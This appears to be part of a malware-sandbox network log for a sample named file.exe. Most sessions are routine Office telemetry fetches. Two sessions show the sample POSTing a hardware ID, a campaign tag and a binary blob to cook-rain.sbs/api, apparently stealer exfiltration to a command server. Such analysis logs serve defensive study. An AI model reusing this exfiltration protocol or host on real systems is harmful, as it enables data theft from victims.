2024-11-20 23:03:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: dcd10ac4-401e-0067-337e-3b09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230306Z-r1d97b99577mrt4rhC1TEBftkc00000009ag00000000rhsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49722	188.114.96.3	443	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:08 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T58LTOAUGNNN7B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20383 Host: cook-rain.sbs
2024-11-20 23:03:08 UTC	15331	OUT	Data Raw: 2d 2d 54 35 38 4c 54 4f 41 55 47 4e 4e 4e 37 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 43 33 45 31 45 37 32 37 39 38 37 46 33 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 54 35 38 4c 54 4f 41 55 47 4e 4e 4e 37 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 54 35 38 4c 54 4f 41 55 47 4e 4e 4e 37 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 54 35 Data Ascii: --T58LTOAUGNNN7BContent-Disposition: form-data; name="hwid"12C3E1E727987F3663CFCF7E6C45F838--T58LTOAUGNNN7BContent-Disposition: form-data; name="pid"3--T58LTOAUGNNN7BContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--T5
2024-11-20 23:03:08 UTC	5052	OUT	Data Raw: 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X2x)
2024-11-20 23:03:09 UTC	982	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nhrsr1v63nfpknjm9rgesbs2al; expires=Sun, 16-Mar-2025 16:49:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dxdb3fD%2BlNc8wW8Cbs9TN5XeTgGR6JFlAx3Ovfou1nB1G03FNo3Xi8iRwdslZzqqu5f8862ETO4VpDOP12NBoNyG%2BL0VxqvYPg3eGSq37PqWijXTllGlToOJ0jyq9cio"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5c125519c40f8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1486&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21338&delivery_rate=1849271&cwnd=252&unsent_bytes=0&cid=ebaa72c94bbd4f62&ts=958&x=0"
2024-11-20 23:03:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 23:03:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:08 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230308Z-178bfbc474bpnd5vhC1NYC4vr400000000qg000000005n98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:08 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230309Z-1777c6cb754j47wfhC1TEB5wrw00000005zg00000000vf8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:08 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:09 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230309Z-1777c6cb754lvj6mhC1TEBke940000000a8g00000000npph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:09 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:08 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230309Z-1777c6cb7544nvmshC1TEBf7qc0000000a5g000000000h8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:08 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:09 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 8b710333-301e-0020-767a-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230309Z-178bfbc474bscnbchC1NYCe7eg00000000t000000000k2eq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:09 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49731	188.114.96.3	443	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:10 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UIWY0CHEP7HPZ5QZGE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1218 Host: cook-rain.sbs
2024-11-20 23:03:10 UTC	1218	OUT	Data Raw: 2d 2d 55 49 57 59 30 43 48 45 50 37 48 50 5a 35 51 5a 47 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 43 33 45 31 45 37 32 37 39 38 37 46 33 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 55 49 57 59 30 43 48 45 50 37 48 50 5a 35 51 5a 47 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 49 57 59 30 43 48 45 50 37 48 50 5a 35 51 5a 47 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --UIWY0CHEP7HPZ5QZGEContent-Disposition: form-data; name="hwid"12C3E1E727987F3663CFCF7E6C45F838--UIWY0CHEP7HPZ5QZGEContent-Disposition: form-data; name="pid"1--UIWY0CHEP7HPZ5QZGEContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-20 23:03:11 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tctqbm5anc1804o97k001vhgdd; expires=Sun, 16-Mar-2025 16:49:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aFh0py9TJl6WwkovH2hpzYqXCATmM7XOMxsq%2FolgNhNev3a3bU%2Fy0kxzZB7JL7A2QbzQDYHL8OWQcyby6IOlp3FWP96YqwLbIuv2ppMpFD63Yox8LTtBvvie%2F7i7dtu9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5c12651ca5c341-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1693&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2132&delivery_rate=1626740&cwnd=168&unsent_bytes=0&cid=e293efc72f537616&ts=767&x=0"
2024-11-20 23:03:11 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 23:03:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:10 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 367ebca4-601e-0070-6762-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230311Z-178bfbc474b7cbwqhC1NYC8z4n00000000gg000000008vp8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:11 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:11 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:11 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230311Z-178bfbc474bv587zhC1NYCny5w00000000m0000000002szg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:11 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230311Z-1777c6cb754j8gqphC1TEB5bf80000000a3000000000tde0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
